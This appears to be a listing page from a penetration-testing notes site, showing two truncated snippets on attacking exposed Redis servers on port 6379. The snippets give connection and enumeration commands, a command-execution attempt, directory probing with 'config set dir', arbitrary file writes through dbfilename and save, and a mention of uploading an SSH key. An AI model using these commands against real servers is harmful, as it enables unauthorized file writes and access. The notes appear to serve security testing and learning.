akde/infosec

Click Here

  • 6379 Redis

    Enumeration Mandatory Try to con­nect:telnet $target 6379 // or: redis-cli -h $target...infoCONFIG GET *system.exec "id" Try to check if you can deter­mine the exis­tence of direc­to­ries.config set dir /var/www/htdocs-ERR Changing directory: No such file or directoryconfig set dir /etc+OK Try to write.  Gen­er­al com­mands:config set dir /var/www/html+OKconfig set dbfilename t.txt+OKset test "hallo"+OKsave+OK Pos­si­ble places:  Upload a…

  • Redis

    Runs on port 6379 — needs a full nmap scan! If conec­tion is pos­si­ble via tel­net, use­ful com­mands are:  info CONFIG GET * all keys: keys * It is pos­si­ble to deter­mine which direc­to­ries exist:  config set dir /var/www/htdocs -ERR Changing directory: No such file or directory set dir /var/www +OK set dir /var/www/html +OK Upload SSH key via redis…